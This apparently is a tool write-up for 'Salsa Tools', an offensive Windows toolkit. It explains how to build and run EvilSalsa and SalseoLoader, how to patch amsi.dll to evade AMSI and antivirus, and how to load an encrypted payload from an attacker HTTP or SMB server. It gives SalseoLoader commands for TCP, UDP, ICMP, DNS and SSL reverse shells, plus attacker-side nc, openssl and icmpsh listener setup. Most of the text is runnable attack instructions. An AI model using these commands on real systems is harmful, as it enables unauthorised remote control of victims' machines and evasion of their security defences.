Salsa Tools is a collection of three different tools that combined, allows you to get a reverse shell on steroids in any Windows environment without even needing PowerShell for it’s execution.
In order to avoid the latest detection techniques (AMSI), most of the components were initially written on C#. Salsa Tools was publicly released by Luis Vacas during his Talk “ Inmersión en la explotación tiene rima ” which took place during h-c0n in 9th February 2019.
- AV Safe (17th February)
- AMSI Patchers
- PowerShell execution
Also Read – WhatWeb : Next Generation Web Scanner
- Visual Studio 2017 (or similar)
- Python 2.7
EvilSalsa is the key ingredient of this recipe. It contains the payload, which is executed on the system as it follows: as soon as the payloads starts, it runs
System.Management.Automation.dll which creates a runspace .
Within that runspace we have four types of shells (TCP / UDP / ICMP / DNS / BINDTCP). Once EvilSalsa is loaded, first thing first, the existence of
c:\windows\system32\amsi.dll is checked. If it exists, it is patched using a home-cooked variant of CyberArk and Rastamouse bypasses.
EncrypterAssembly can be used as a Python script or as a Exe binary. It encrypts the previously generated EvilSalsa.
Bringing the Encrypted EvilSalsa to the table with SalseoLoader
SalseoLoader is in charge of loading the encrypted payload. Can be both compiled as a library or as an executable. If it is run as an executable, the chosen arguments must be provided when the executable is run.
If it is compiled as a library, the descriptor “main” must be exported. Arguments are added using environmental variables.
– SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
– SalseoLoader.exe password \smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
– SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
– SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
– SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
– SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
– SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
Download the source code from the github and compile EvilSalsa and SalseoLoader. You will need Visual Studio installed to compile the code.
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
You can select the architecture inside Visual Studio in the left “Build” Tab in “Platform Target”.
(If you can’t find this options press in “Project Tab” and then in “ Properties“)
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
Prepare the Backdoor
First of all, you will need to encode the EvilSalsa.dll. To do so, you can use the python script encrypterassembly.py or you can compile the project EncrypterAssembly
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
Ok, now you have everything you need to execute all the Salseo thing: the encoded EvilDalsa.dll and the binary of SalseoLoader. Upload the SalseoLoader.exe binary to the machine. It shouldn’t be detected by any AV…
Remember to start a nc as the reverse shell listener, and a HTTP server to serve the encoded evilsalsa.
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
SalseoLoader.exe password \/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
Set the listener inside the attacker machine:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port
Execute the backdoor:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <Attacker-IP> <Port>
This time you need a special tool in the client to receive the reverse shell. Download: [https://github.com/inquisb/icmpsh]
Disable ICMP Replies:
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Execute the client:
python icmpsh_m.py “<Attacker-IP>” “<Victm-IP>”
Inside the victim, lets execute the salseo thing:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Open the SalseoLoader project using Visual Studio.
Before the main function add this line: [DllExport]
Install DllExport for this project
Tools –> NuGet Package Manager –> Manage NuGet Packages for Solution…
Search for DllExport package (using Browse tab), and press Install (and accept the popup)
In your project folder have appeared the files: DllExport.bat and DllExport_Configure.bat
Press Uninstall (yeah, its weird but trust me, it is necessary)
Exit Visual Studio and execute DllExport_configure
Just exit Visual Studio
Then, go to your SalseoLoader folder and execute DllExport_Configure.bat Select x64 (if you are going to use it inside a x64 box, that was my case), select System.Runtime.InteropServices (inside Namespace for DllExport) and press Apply
Open the project again with visual Studio
[DllExport] should not be longer marked as error
Build the solution
Select Output Type = Class Library (Project –> SalseoLoader Properties –> Application –> Output type = Class Library)
Select x64 platform (Project –> SalseoLoader Properties –> Build –> Platform target = x64)
To build the solution: Build –> Build Solution (Inside the Output console the path of the new DLL will appear)
Copy and paste the Dll where you want to test it.
If not error appears, probably you have a functional dll!!
Don’t forget to use a HTTP server and set a nc listener